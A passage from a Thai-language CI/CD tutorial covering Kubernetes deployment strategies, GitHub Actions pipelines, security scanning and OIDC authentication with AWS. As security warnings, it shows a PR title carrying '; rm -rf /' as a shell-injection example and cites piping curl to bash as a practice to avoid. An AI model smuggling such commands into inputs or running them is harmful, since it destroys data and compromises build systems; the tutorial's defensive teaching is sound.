kubectl waitดีกว่าsleep 30—sleep 30เดาว่า pod พร้อมแล้ว ซึ่งบางทียังไม่พร้อม (smoke test fail false positive) บางทีพร้อมก่อน (เสียเวลา).kubectl wait --for=condition=availableรอจน readiness probe ผ่านจริง ๆ แล้วค่อยไปต่อ
12. Deployment Strategies
การ deploy เวอร์ชันใหม่มีหลายกลยุทธ์ที่แลกกันระหว่างความปลอดภัย ความเร็ว และทรัพยากร — rolling update (ค่อย ๆ แทนทีละตัว), blue/green (สลับทั้งชุดทันที), canary (ปล่อยทีละ % แล้วดู metric) และ feature flag (เปิด/ปิดฟีเจอร์โดยไม่ deploy ใหม่):
A. Rolling Update (default ใน K8s)
text
Replica 1: v1 → v2 (เปลี่ยนทีละตัว)
Replica 2: v1 → v2
Replica 3: v1 → v2✅ Zero downtime (ไม่ดับ — มี replica อื่นรับ traffic ตลอด) ⚠️ ช่วง rollout มี 2 version ปนกัน (client บางคนเจอ v1 บางคนเจอ v2) ⚠️ Rollback บางส่วนยาก (ต้องสั่ง rollback ทั้งหมด)
B. Blue/Green
text
Blue (เวอร์ชันที่รัน prod อยู่) ───┐
│ สลับ traffic ทั้งก้อน
Green (เวอร์ชันใหม่) ────┘✅ สลับทันทีไม่มี version ปน ✅ Rollback ง่าย (สลับ traffic กลับ Blue) ❌ ต้องใช้ resource 2 เท่าช่วงสลับ (ทั้ง Blue + Green ต้องรันพร้อมกัน) ❌ DB schema ต้อง compatible ทั้ง 2 version (ดูกล่อง expand/contract ด้านล่าง)
yaml
# K8s service ชี้ไปที่ label
apiVersion: v1
kind: Service
metadata:
name: web
spec:
selector:
app: web
version: blue # ⭐ เปลี่ยนเป็น green เพื่อสลับ traffic
ports:
- port: 80🗄️ expand/contract pattern (DB migration กับ blue/green) ถ้า Green ต้องใช้ schema ใหม่ (เช่นเพิ่มคอลัมน์ใหม่) — ห้าม migrate schema แบบ breaking ก่อน switch เพราะ Blue จะพัง. ทำเป็น 2 step:
- Expand — เพิ่ม schema (เพิ่มคอลัมน์, สร้าง table) แบบ backward-compatible ก่อน. Blue ไม่เห็นคอลัมน์ใหม่ก็ยังทำงานได้
- Deploy Green → สลับ traffic → ดู metric สักพัก
- Contract — ลบของเก่าออกหลังจาก Blue ถูกปลดแล้ว (drop column เก่า)
หลักการเดียวกันใช้กับ canary และ rolling update — เพราะมี 2 version ปนกันช่วงเปลี่ยน
C. Canary
text
99% ของ traffic → v1 (เวอร์ชันเดิม)
1% ของ traffic → v2 (canary — เวอร์ชันทดลอง)
[เฝ้าดู metric: error rate, latency, business KPI]
ถ้า OK: เพิ่มเป็น 10% → 50% → 100%
ถ้าพัง: rollback ทันที (ลด traffic v2 เหลือ 0%)✅ จำกัดความเสียหายให้ส่งผลแค่ % เล็ก ๆ ของ user ✅ ทดสอบกับ traffic จริง (ไม่ใช่ test environment) ❌ ซับซ้อน — ต้องมีระบบแบ่ง traffic
ใช้ service mesh (Istio, Linkerd) หรือ Argo Rollouts:
💡 3 ตัวนี้คืออะไร
- Istio / Linkerd = service mesh — layer ที่ injection sidecar proxy เข้าทุก pod ใช้แบ่ง traffic, ตรวจ TLS, retry, observability ได้
- Argo Rollouts = controller ของ K8s ที่ขยาย Deployment ให้รองรับ canary / blue-green โดยตรง (กำหนด
setWeight: 10ใน YAML แทนเขียน Istio config เอง)
ตัวอย่าง CRD ของ Argo Rollouts:
yaml
apiVersion: argoproj.io/v1alpha1
kind: Rollout
metadata:
name: myapp
spec:
replicas: 10
strategy:
canary:
steps:
- setWeight: 10 # 10% traffic ไป canary
- pause: { duration: 5m } # ดู metric 5 นาที
- setWeight: 50
- pause: { duration: 10m }
- setWeight: 100
analysis: # ถ้า metric เลย threshold → auto rollback
templates:
- templateName: error-rate-checkD. Feature Flag
python
# เปิด/ปิด feature ด้วย flag — ไม่ deploy ก็เปลี่ยนได้
if feature_flag.is_enabled("new_checkout"):
new_checkout() # เวอร์ชันใหม่
else:
old_checkout() # เวอร์ชันเดิม (default)Flow:
- Deploy code ใหม่ขึ้น prod (flag ปิดอยู่ — ไม่มีใครได้ใช้)
- เปิด flag ให้ user 1% (ผ่าน UI ของ flag service — ไม่ต้อง deploy ใหม่)
- ดู metric ดี → เปิด 10% → 50% → 100%
- ถ้าพัง → ปิด flag (instant rollback ไม่ต้อง deploy)
Tools (feature flag service):
- LaunchDarkly — มาตรฐานอุตสาหกรรม, paid ตั้งแต่ $0 dev tier
- GrowthBook — open source, self-host ได้, free tier
- ConfigCat — paid, มี free tier ขนาดเล็ก
- Unleash — open source แบบ self-host เต็มตัว
13. Test in Pipeline
CI จัดสัดส่วน test ตาม Test Pyramid: unit test เยอะสุด (เร็ว/ถูก), integration กลาง ๆ, E2E น้อยสุด (ช้า/แพง) แยกเป็นคนละ job รัน E2E หลัง unit+integration ผ่าน และ parallelize (sharding) เพื่อให้เร็วขึ้น:
Test Pyramid (พีระมิดทดสอบ)
text
/\
/E2\ 5-10% ← End-to-End: รันทั้งระบบเหมือนผู้ใช้จริง (ช้า, แพง, เปราะ)
/----\
/Integ.\ 15-25% ← Integration: test กับ DB / external service จริง
/--------\
/ Unit \ 70-80% ← Unit: ฟังก์ชันเดี่ยว ไม่แตะ I/O (เร็วสุด, ถูกสุด)
/------------\💡 ตัวเลข % หมายถึงสัดส่วนของจำนวน test ทั้งหมด เช่น ถ้ามี 100 test → unit ~75 ตัว, integration ~20 ตัว, E2E ~5 ตัว (ไม่ใช่ % ของเวลาหรืออะไรอื่น)
→ Unit เยอะสุดเพราะเร็ว/ถูก ใช้ทดสอบ business logic, E2E น้อยสุดเพราะแพง — เก็บไว้ทดสอบ user journey หลัก ๆ
yaml
jobs:
unit:
runs-on: ubuntu-latest
steps:
- run: ./mvnw test
integration:
runs-on: ubuntu-latest
services:
postgres:
image: postgres:16
steps:
- run: ./mvnw verify -Pintegration
e2e:
runs-on: ubuntu-latest
needs: [unit, integration]
steps:
- run: ./run-e2e-tests.shParallelize for speed (รันคู่ขนานให้เร็วขึ้น)
แบ่ง test เป็น N กลุ่ม (sharding) แล้วรันคู่ขนาน — 100 test แบ่ง 4 shard ใช้เวลา ~1/4 (สมมติ test กระจายเท่ากัน):
⚠️ ตัวอย่างนี้ copy-paste แล้วรันไม่ได้ทันที —
-DshardIndex/-DshardTotalไม่ใช่ property มาตรฐานของ Maven Surefire ต้องมี plugin หรือ logic แบ่ง shard เพิ่มเอง (เช่น junit-pioneer@Shard, Maven SurefireforkCount, หรือเขียน script แบ่งไฟล์ test เอง) ไม่งั้น-Dproperty นี้จะถูกเมินเฉย ๆ ไม่ error แต่ก็ไม่แบ่งจริง
yaml
test:
strategy:
matrix:
shard: [1, 2, 3, 4]
steps:
- run: ./mvnw test -DshardIndex=${{ matrix.shard }} -DshardTotal=414. Code Quality Checks
Pipeline ที่ดีบังคับมาตรฐานคุณภาพโค้ดอัตโนมัติ — lint, format check, type check, coverage ขั้นต่ำ และ SonarCloud ที่จับ code smell/bug ทำให้ทุก PR ผ่านเกณฑ์เดียวกันโดยไม่ต้องพึ่งคนเตือน:
yaml
jobs:
quality:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
# Lint — ตรวจ style ของโค้ด (เช่น ใช้ semicolon ไหม, var ไม่ใช้)
- run: npm run lint
# ตรวจ format (Prettier / Black) — ตัดสินใจแทนคนว่าเว้นบรรทัดยังไง
- run: npm run format:check
# ตรวจชนิดข้อมูล (TypeScript / mypy)
- run: npm run type-check
# บังคับ coverage ขั้นต่ำ — ใน jacoco config ตั้ง line coverage >= 80%
- run: ./mvnw verify
# SonarCloud — ตรวจ code smell, bug, security hotspot (free สำหรับ open source repo)
# ⚠️ pin SHA แทน @v3 เมื่อใช้จริง (ดูข้อ 23)
- uses: SonarSource/sonarcloud-github-action@v3
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }}15. Security Checks
ตรวจตั้งแต่ใน pipeline ไม่รอจนขึ้น prod (ที่ฝรั่งเรียก "shift-left" — เลื่อนการตรวจหาบั๊กมาทำตั้งแต่ขั้นตอนแรก ๆ ของการพัฒนา แทนที่จะรอตรวจทีหลังตอน deploy แล้ว ยิ่งเจอบั๊กเร็ว ยิ่งแก้ง่ายและถูกกว่า):
เครื่องมือสำคัญที่ใช้กันใน CI/CD ปี 2026:
- SAST (Static Application Security Testing) — วิเคราะห์โค้ดต้นทาง (ไม่ต้องรัน) หาบั๊กความปลอดภัย เช่น SQL injection, XSS
- CodeQL (GitHub) — engine SAST ที่ฟรีสำหรับ public repo, รองรับหลายภาษา
- Dependency scan — หา CVE ใน lib ที่ project พึ่งพา
- Snyk — paid, มี free tier, แก้ CVE auto-fix ได้
- Trivy — ของ Aqua Security, ใช้ฟรี ครอบคลุม dep + image + config (ใช้บ่อยที่สุดใน CI)
- Secret scan — หา password / API key ที่เผลอ commit เข้า repo
- TruffleHog — สแกน git history หา secret ที่หลุด
- gitleaks — ทางเลือกที่นิยม (regex + entropy)
- Container scan — สแกน image หา CVE / misconfig
- Trivy — ใช้ตัวเดียวกับ dep scan ได้
- IaC scan (Infrastructure as Code) — สแกน Terraform / Kubernetes YAML / Dockerfile หา misconfig
- Checkov — ของ Bridgecrew/Prisma Cloud
- tfsec — สำหรับ Terraform โดยเฉพาะ
📚 ขยายศัพท์
- CVE (Common Vulnerabilities and Exposures) = รหัสช่องโหว่ความปลอดภัยมาตรฐาน เช่น CVE-2021-44228 (Log4Shell)
- IaC (Infrastructure as Code) = เขียน infra (server, network) เป็นไฟล์ config (Terraform, K8s manifest)
- SAST vs DAST = SAST อ่านโค้ดอย่างเดียว (static), DAST รันแล้วยิงทดสอบ (dynamic — เหมือน pentest อัตโนมัติ)
yaml
security:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
# สแกน dependency หา CVE — pin SHA ของ Snyk action เวอร์ชันที่ verify แล้ว
- name: Snyk dependency scan
uses: snyk/actions/maven@cdb760004ba9ea4d525f2e043745dfe85bb9077e # v1.x
env:
SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }} # ต้อง register Snyk + ตั้ง token
with:
args: --severity-threshold=high # fail ถ้าเจอ HIGH ขึ้นไป
command: monitor # ส่งผลขึ้น dashboard ด้วย (test = แค่รันใน CI)
# SAST ด้วย CodeQL — สำหรับภาษา compiled ต้องมี 2 step (init + analyze)
- uses: github/codeql-action/init@v3
with:
languages: java
- uses: github/codeql-action/autobuild@v3
- uses: github/codeql-action/analyze@v3
# หา secret ที่หลุดเข้า repo — pin SHA, ระบุ args เพื่อ scan filesystem
- name: TruffleHog secret scan
uses: trufflesecurity/trufflehog@a05cf0859455b5b16317ee22d809887a4043cdf0 # v3.x
with:
path: ./
base: ${{ github.event.repository.default_branch }}
head: HEAD
extra_args: --only-verified # เฉพาะ secret ที่ verify ว่าจริง (ลด false positive)
# สแกน container image — ✅ ใช้ scanners แทน security-checks, exit-code: '1' บล็อก pipeline
- name: Trivy image scan
uses: aquasecurity/trivy-action@b2933f565dbc598b29947660e66259e3c7bc8561 # v0.36.0
with:
image-ref: 'ghcr.io/myorg/app:${{ github.sha }}'
scanners: vuln,secret,misconfig
severity: 'CRITICAL,HIGH'
exit-code: '1'
ignore-unfixed: true
# สแกน IaC — pin SHA
- name: Checkov IaC scan
uses: bridgecrewio/checkov-action@2d4dca527e5ea29b5b30e7d6a16ec33a3dca4e8d # v12.x
with:
directory: infra/
framework: terraform,kubernetes,dockerfile
soft_fail: false # fail pipeline ถ้าเจอ misconfig🔐 เรื่อง code injection ที่ระวังบ่อยพลาด — ห้ามใส่ user input (เช่น PR title) ตรง ๆ ใน shell expression. ใช้ env indirection แทน:
yaml# ❌ INJECTION RISK — PR title ที่ขึ้นต้นด้วย "; rm -rf /" จะรันจริง - run: echo "${{ github.event.pull_request.title }}" # ✅ ปลอดภัย — เอาเข้า env ก่อน แล้วใช้ผ่าน shell variable - env: PR_TITLE: ${{ github.event.pull_request.title }} run: echo "$PR_TITLE"
16. Reusable Workflow
เมื่อหลาย repo มี pipeline คล้ายกัน การก๊อปไฟล์ไปมาทำให้แก้ยาก — reusable workflow (workflow_call) ให้เขียน workflow กลางครั้งเดียวแล้วเรียกใช้ซ้ำจากหลายที่ พร้อมส่ง input เข้าไปปรับได้:
yaml
# .github/workflows/test-suite.yml
name: Reusable Tests
on:
workflow_call:
inputs:
java-version:
type: string
default: '21'
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-java@v4
with:
java-version: ${{ inputs.java-version }}
distribution: 'temurin'
- run: ./mvnw testyaml
# .github/workflows/ci.yml
jobs:
test:
uses: ./.github/workflows/test-suite.yml
with:
java-version: '21'→ DRY ระหว่าง project / workflow
17. Composite Actions
reusable workflow รวมทั้ง job, composite action รวม "หลาย step" เป็น action เดียวที่เรียกได้ในทุก workflow — เหมาะกับชุด step ที่ทำซ้ำ เช่น checkout + setup Java + resolve dependency:
yaml
# .github/actions/setup-app/action.yml
name: 'Setup App'
inputs:
java-version:
default: '21'
runs:
using: composite
steps:
- uses: actions/checkout@v4
- uses: actions/setup-java@v4
with:
java-version: ${{ inputs.java-version }}
distribution: 'temurin'
- run: ./mvnw dependency:resolve
shell: bashyaml
# Use
steps:
- uses: ./.github/actions/setup-app
with:
java-version: '21'18. Matrix Build
matrix build รัน job เดียวกันหลายชุดพร้อมกัน โดยไล่ทุก combination ของค่าที่กำหนด — เช่น test บน 3 OS × 2 เวอร์ชัน Node = 6 ชุดขนาน ใช้ include/exclude เพิ่ม-ตัด combo เฉพาะได้:
yaml
jobs:
test:
strategy:
matrix:
os: [ubuntu-latest, macos-latest, windows-latest]
node: [18, 20]
include:
- os: ubuntu-latest
node: 21 # extra combo
exclude:
- os: windows-latest
node: 18 # skip
runs-on: ${{ matrix.os }}
steps:
- run: echo "Testing on ${{ matrix.os }} with Node ${{ matrix.node }}"→ Test multiple combination simultaneously
19. Artifacts + Releases
Artifact คือไฟล์ผลลัพธ์จาก build (เช่น jar, binary, รายงาน) ที่อยากเก็บหรือส่งต่อระหว่าง job — ใช้ upload-artifact/download-artifact และเมื่อ push tag เวอร์ชันก็สร้าง GitHub Release พร้อมแนบไฟล์และ generate release notes อัตโนมัติได้:
yaml
# Build artifact
- run: ./mvnw package
- uses: actions/upload-artifact@v4
with:
name: app-jar
path: target/*.jar
retention-days: 7
# Auto release on tag
on:
push:
tags: ['v*']
jobs:
release:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: ./mvnw package
- uses: softprops/action-gh-release@v2 # ⚠️ ใช้จริง: pin SHA แทน @v2 (ดูข้อ 23)
with:
files: target/*.jar
generate_release_notes: true20. Monorepo Strategies
ใน monorepo การ build/test ทุกอย่างทุกครั้งเสียเวลา — ใช้ paths filter ตรวจว่าโฟลเดอร์ไหนถูกแก้ แล้วรันเฉพาะ job ที่เกี่ยวข้อง (เช่นแก้แค่ apps/web ก็ test แค่ web):
yaml
on:
push:
paths:
- 'apps/web/**'
- 'packages/shared/**'
jobs:
detect:
runs-on: ubuntu-latest
outputs:
web: ${{ steps.filter.outputs.web }}
api: ${{ steps.filter.outputs.api }}
steps:
- uses: actions/checkout@v4
- uses: dorny/paths-filter@v3
id: filter
with:
filters: |
web: ['apps/web/**', 'packages/shared/**']
api: ['apps/api/**']
test-web:
needs: detect
if: needs.detect.outputs.web == 'true'
runs-on: ubuntu-latest
steps:
- run: npm test -w web→ Build only affected projects
21. Self-hosted Runner
GitHub-hosted runner รัน job บน VM ที่ GitHub เตรียมให้ self-hosted runner ใช้เมื่อต้องเข้าถึง network ภายใน, ต้องใช้ GPU/ฮาร์ดแวร์พิเศษ หรือ workload หนักจนคุ้มกว่าจะใช้เครื่องตัวเอง:
bash
# ลงทะเบียน runner ที่ Settings → Actions → Runners → New
# ดาวน์โหลด script แล้วลงบน server ของคุณ
# ใช้ใน workflow
jobs:
build:
runs-on: self-hosted
# หรือใส่ label เฉพาะ — ให้รันบนเครื่องที่ตรง label
runs-on: [self-hosted, linux, gpu]เหมาะกับกรณี:
- ต้องเข้า network ภายในองค์กร (เช่น deploy ไป private VPC)
- ต้องใช้ GPU หรือฮาร์ดแวร์พิเศษ
- workload หนักมากจนคุ้มกว่าจะรันเองดีกว่าเสียค่า GitHub-hosted
⚠️ อย่าตั้ง self-hosted runner ใน public repo — PR จาก fork สามารถรันโค้ดอะไรก็ได้บน runner ของคุณ เสี่ยงสูงมาก
22. Common Patterns
Pattern ที่ทีมส่วนใหญ่ใช้จริง — ตรวจ PR อัตโนมัติ (เช็ค commit format, ขนาด PR, assign reviewer), deploy preview ให้ทุก PR และ Dependabot ที่คอยอัปเดต dependency ให้เอง:
PR Validation
yaml
on:
pull_request:
jobs:
validate:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
# Conventional commit check
- uses: amannn/action-semantic-pull-request@v5 # ⚠️ ใช้จริง: pin SHA แทน @v5 (ดูข้อ 23)
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
# PR size warning
- uses: CodelyTV/pr-size-labeler@v1 # ⚠️ ใช้จริง: pin SHA แทน @v1 (ดูข้อ 23)
# Auto-assign reviewer
- uses: kentaro-m/auto-assign-action@v2 # ⚠️ ใช้จริง: pin SHA แทน @v2 (ดูข้อ 23)Auto-deploy preview
yaml
on:
pull_request:
jobs:
preview:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: vercel deploy --prebuilt
env:
VERCEL_TOKEN: ${{ secrets.VERCEL_TOKEN }}
- uses: actions/github-script@v7 # ⚠️ ใช้จริง: pin SHA แทน @v7 (ดูข้อ 23)
with:
script: |
github.rest.issues.createComment({
issue_number: context.issue.number,
owner: context.repo.owner,
repo: context.repo.repo,
body: 'Preview: https://pr-' + context.issue.number + '.preview.example.com'
})⚠️ PR จาก fork จะ deploy preview ไม่ได้ — GitHub Actions ไม่ส่ง secret (เช่น
VERCEL_TOKEN) ให้ workflow ที่รันจาก fork เพื่อความปลอดภัย. ทางแก้: ใช้pull_request_target(เห็น secret แต่อันตราย — ดูเตือนข้อ 5), หรือใช้ bot deploy แยกหลัง maintainer ตรวจแล้ว
Dependabot (auto-update deps)
yaml
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: "npm"
directory: "/"
schedule:
interval: "daily" # ของ security update ตรวจทุกวัน
# group minor + patch update เป็น PR เดียว ลด PR spam
groups:
npm-minor-patch:
update-types: ["minor", "patch"]
- package-ecosystem: "maven"
directory: "/"
schedule:
interval: "weekly"
groups:
maven-minor-patch:
update-types: ["minor", "patch"]
- package-ecosystem: "docker"
directory: "/"
schedule:
interval: "weekly"
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "weekly" # GitHub Actions มี breaking บ่อย ตรวจสัปดาห์ละครั้งดี
groups:
actions-minor-patch:
update-types: ["minor", "patch"]💡 ทำไมต้อง group — ก่อน 2024 ที่ยังไม่มี
groups:คุณจะได้ PR วันละ 5-10 อัน (PR ละ 1 dep). ตั้ง group แล้วเหลือ ~1 PR/สัปดาห์ — รีวิวได้จริง
23. Best Practices
Pin action ตามเวอร์ชัน/SHA, ให้ permission น้อยที่สุดเท่าที่จำเป็น, cache dependency เพื่อความเร็ว:
✅ Pin action ตาม SHA หรือ version tag
yaml
- uses: actions/checkout@v4 # โอเค — major version
- uses: actions/checkout@b32f140b0bbf6f60fa6b8b9e2f0c9b9d0c43e6f1 # ปลอดภัยสุด — pin SHA
- uses: actions/checkout@main # ❌ อันตราย — เปลี่ยนได้ทุกเมื่อ💡 ทำไม pin SHA ดีสุด — supply chain attack ที่เคยเกิดจริง (เช่น
tj-actions/changed-filesปี 2025) hacker แก้ tag ของ action แล้ว action ที่ pin@v1รัน malicious code ทันที. pin SHA = ผูกกับ snapshot นั้น hacker แก้ไม่ได้
✅ ให้ permission น้อยที่สุดเท่าที่จำเป็น
yaml
permissions:
contents: read
pull-requests: write✅ Cache dependency
yaml
- uses: actions/setup-node@v4
with:
cache: 'npm'✅ พังก็หยุดเลย (สำหรับ PR ปกติ)
yaml
strategy:
fail-fast: true # PR ปกติ — ประหยัด CI
# แต่สำหรับ matrix test ใหญ่ ใช้ false ดีกว่า (จะได้เห็นว่าพังหลาย combo ไหม)✅ ใช้ environment สำหรับ prod
yaml
environment: production # ต้องผ่าน approval ก่อน❌ ห้ามทำ:
- รัน
curl ... | bashจาก URL ที่ไม่รู้จัก - log ค่า secret ลง console (เช่น
echo $TOKEN) - ใส่ user input ตรง ๆ ใน shell expression — เสี่ยง code injectionyaml
# ❌ INJECTION — PR title ของ hacker จะรัน - run: echo "${{ github.event.pull_request.title }}" # ✅ ปลอดภัย — ผ่าน env - env: PR_TITLE: ${{ github.event.pull_request.title }} run: echo "$PR_TITLE"
24. Common Pitfalls
ปัญหาที่เจอบ่อยกับวิธีแก้:
| ปัญหา | วิธีแก้ |
|---|---|
| Build ช้า | รันคู่ขนาน, cache dependency, ใช้ matrix |
| Test กระตุก (flaky) | retry, แยก test ออกจากกัน, แก้ที่ต้นเหตุ |
| Monorepo build ซ้ำทั้งหมด | ใช้ paths filter, ตรวจว่าโฟลเดอร์ไหนเปลี่ยน |
| Secret ไม่เคย rotate | rotate ทุก 3 เดือน หรือเปลี่ยนไปใช้ OIDC |
| Pipeline รันนาน | shard test, รันคู่ขนาน, optimize |
| ไม่มี notification | ตั้ง webhook Slack/Discord ตอน job fail |
| Approve ด้วยมือทุก step | เชื่อ automation, ดู metric แทน (กำหนด rollback อัตโนมัติ) |
25. Modern Practices
🚀 โซนขั้นสูง — ข้ามได้ OIDC และ GitOps เป็น practice ของทีมที่ทำ CI/CD จริงจังแล้ว ถ้าเพิ่งเริ่มเขียน workflow แรก ใช้ GitHub Secrets แบบธรรมดาไปก่อนได้ (หัวข้อ 9) แล้วค่อยกลับมาอัปเกรดเป็น OIDC ทีหลังเมื่อ deploy ขึ้น cloud จริง — เรื่อง GitOps ลงลึกได้ใน Kubernetes Book
OIDC (Cloud Auth without static keys)
ปัญหาที่ OIDC แก้
ก่อน OIDC — เก็บ AWS access key ใน GitHub Secrets:
text
❌ ปัญหาของ static credentials (key ถาวร):
- Key รั่ว = บัญชีถูกครอบครองตลอดไป (จนกว่าจะเปลี่ยน key ใหม่)
- ต้อง rotate (เปลี่ยน key) เองตามรอบ = ลืม / pipeline พังตอน rotate
- Key หลุดเข้า log ได้ง่ายถ้าไม่ระวัง (เช่น echo ออกมา)
- Audit ยาก — ตามไม่ได้ว่าใครใช้ key ตอนไหน🔑 รู้จัก JWT ก่อนเข้า OIDC
- JWT (JSON Web Token) = token (บัตรผ่าน) ที่ฝังข้อมูลข้างในได้ และมี ลายเซ็นดิจิทัลกันปลอม
- ข้อมูลข้างใน JWT เรียกว่า claim เช่น "มาจาก repo ไหน, branch ไหน, ใครเป็นคนรัน"
- ลายเซ็นดิจิทัลทำงานยังไง (สั้น ๆ) — คือค่าที่คำนวณจากเนื้อหา token ด้วยกุญแจลับของผู้ออก (GitHub) ถ้าใครแอบแก้เนื้อหา ค่าที่คำนวณใหม่จะไม่ตรงกับลายเซ็นเดิม ผู้รับ (AWS) ตรวจจับความไม่ตรงนี้ได้ทันที — ไม่ต้องเข้าใจ crypto ลึก แค่รู้ว่า "แก้ไส้ในไม่ได้โดยไม่ทำให้ลายเซ็นเสีย"
- ผู้รับจึงเชื่อใจข้อมูลใน token ได้ โดยไม่ต้องถาม GitHub ซ้ำ
OIDC ทำงานยังไง
OIDC (OpenID Connect) = standard ที่ให้ cloud provider "trust" (เชื่อใจ) GitHub โดยตรง โดยไม่ต้องมี static key
💡 role (บทบาท) คืออะไร — ใน AWS IAM, role คือ "ชุดสิทธิ์ที่กำหนดไว้ล่วงหน้า" (เช่น "แก้ไข S3 bucket นี้ได้") ไม่ใช่ user ตัวจริงที่มี password — ใครก็ตามที่ได้รับอนุญาตให้ "สวมบทบาท" (assume role) นี้ได้ ก็ทำตามสิทธิ์ที่ role นั้นกำหนดไว้ชั่วคราว เหมือนยืมบัตรพนักงานที่มีสิทธิ์เฉพาะมาใช้ชั่วครู่แล้วคืน
text
1. Workflow run → GitHub สร้าง JWT token อายุสั้น (short-lived, ~15 นาที)
ใน token มี claim: repo, branch, environment, actor (ดูกล่อง JWT ข้างบน)
2. Action เอา JWT → ส่งให้ AWS STS (Security Token Service =
บริการของ AWS ที่แจก credential ชั่วคราว)
"ฉันเป็น github-action จาก repo X, branch main"
3. AWS เช็ค trust policy (กฎที่บอกว่า "ใครได้รับอนุญาตให้สวมบทบาทไหน"):
"Repo X, branch main → ให้ assume role 'github-deploy' ได้"
4. AWS คืน temporary credentials (credential ชั่วคราว 15 นาที - 1 ชม.)
→ ใช้ deploy → หมดอายุเอง→ ไม่มี secret ใน GitHub เลย — ไม่มีอะไรให้รั่ว
Setup OIDC กับ AWS
⚠️ prerequisite — ต้องมี AWS account ที่มีสิทธิ์ admin (สร้าง IAM provider + IAM role ได้) และรู้พื้นฐาน IAM (role, trust policy, permissions policy). ถ้ายังไม่เคยใช้ AWS CLI / IAM แนะนำให้อ่านบทที่ 6 (Cloud Platforms) ก่อน
Step 1: สร้าง OIDC provider ใน AWS (ตั้งครั้งเดียวต่อ AWS account)
bash
# AWS CLI v2 (แนะนำ) — ไม่ต้องใส่ --thumbprint-list
aws iam create-open-id-connect-provider \
--url https://token.actions.githubusercontent.com \
--client-id-list sts.amazonaws.com
# AWS CLI เก่ากว่า (หรือ region/release ที่ยัง require) อาจต้องใส่ thumbprint:
# --thumbprint-list <ดึงค่าปัจจุบันจาก AWS docs ตอนใช้จริง — ไม่แนะนำ hardcode เพราะ GitHub rotate cert เป็นระยะ ค่าเก่าจะหมดอายุเงียบ ๆ>
# ถ้าเจอ error "Missing required parameter: thumbprint-list" ให้เติม flag นี้💡 2024+ (AWS CLI v2 ปัจจุบัน): ไม่ต้องใส่
--thumbprint-listแล้ว สำหรับ GitHub Actions — AWS รองรับ GitHub's intermediate CA cert โดยตรง (ดู AWS Blog Oct 2023). thumbprint ที่ hardcode มาในบทความเก่า ๆ จะหมดอายุเมื่อ GitHub rotate cert — ไม่ต้องตามแก้ มี/ไม่มี ก็ใช้งานได้ (AWS ละเลย thumbprint ถ้า issuer เป็น well-known OIDC provider). (last reviewed: 2026-06 — ตรวจ AWS docs ทางการก่อนใช้)
Step 2: สร้าง IAM role with trust policy
💡 สองคำในนโยบายด้านล่าง:
Federated= ผู้ยืนยันตัวตนจากภายนอก (ในที่นี้คือ GitHub) — federated identity ให้ระบบเราเชื่อตัวตนที่ออกโดยอีกระบบหนึ่งโดยไม่ต้องสร้าง user ซ้ำAssumeRoleWithWebIdentity= ขอสวมบทบาท (role) โดยใช้ตัวตนจากเว็บภายนอก
json
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::123:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
"token.actions.githubusercontent.com:sub": "repo:myorg/myrepo:ref:refs/heads/main"
}
}
}]
}⚠️
StringEqualsvsStringLikeบนsubclaim — เลือกผิด = ช่องโหว่
StringEquals(ใช้ในตัวอย่าง) = ตรงเป๊ะ — ใช้กับ subject แบบเฉพาะ (เช่นrepo:org/repo:ref:refs/heads/main)StringLike= รับ wildcard*— ใช้กับ subject แบบกว้าง (เช่นrepo:myorg/*:ref:refs/heads/mainครอบทุก repo ใน org)- ห้ามใช้
StringLikeกับ subject เฉพาะ เพราะ stringrepo:myorg/myrepo:ref:refs/heads/mainจะถูก match โดยrepo:myorg/myrepo:ref:refs/heads/main-evilด้วย (claim substring attack) — ใน GitHub docs เตือนเรื่องนี้ชัดเจน
🔑 รูปแบบ
subclaim ที่ใช้บ่อย
- branch-scoped:
repo:OWNER/REPO:ref:refs/heads/BRANCH- environment-scoped (แนะนำสำหรับ prod):
repo:OWNER/REPO:environment:production— ผูกกับ environment ใน GitHub ที่มี approval rules- tag-scoped:
repo:OWNER/REPO:ref:refs/tags/v*(ใช้กับStringLikeเพราะมี wildcard)- PR (อันตราย!):
repo:OWNER/REPO:pull_request— ห้ามให้ assume role prod เพราะ PR จาก hacker จะใช้ได้
💡 เพิ่ม
actorrestriction ก็ได้ — จำกัดให้ assume role ได้เฉพาะคนใน team:json"token.actions.githubusercontent.com:actor": "alice"
Step 3: Workflow ใช้ OIDC
yaml
permissions:
id-token: write # ⭐ จำเป็น — ขอ JWT จาก GitHub
contents: read
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: arn:aws:iam::123:role/github-deploy-production
aws-region: us-east-1
# ❌ ไม่ต้องมี aws-access-key-id อีกแล้ว!
- run: aws s3 ls # ใช้ได้เลย, action ฉีด credential ชั่วคราวให้อัตโนมัติCloud อื่นก็มี OIDC
- GCP — Workload Identity Federation (
google-github-actions/auth@v2) - Azure — Federated identity credentials (
azure/login@v2) - HashiCorp Vault — JWT auth method
→ ปี 2026: OIDC = standard practice — อย่าใช้ static key เว้นแต่จำเป็น
GitOps (ArgoCD / Flux)
GitOps = Git เป็น single source of truth สำหรับ infra ทั้งหมด. Deploy ไม่ใช่การรัน kubectl apply ด้วยมือ แต่เป็น "การ commit เข้า config repo" แล้วให้ controller (ArgoCD/Flux) sync ให้เอง
💡 ArgoCD / Flux คืออะไร = controller ที่รันใน K8s, คอย watch config repo (Git) แล้ว sync state ของ cluster ให้ตรงกับสิ่งที่เขียนไว้ใน Git. ถ้ามีคนแก้ cluster ด้วยมือ ArgoCD จะแก้คืนเอง (drift detection)
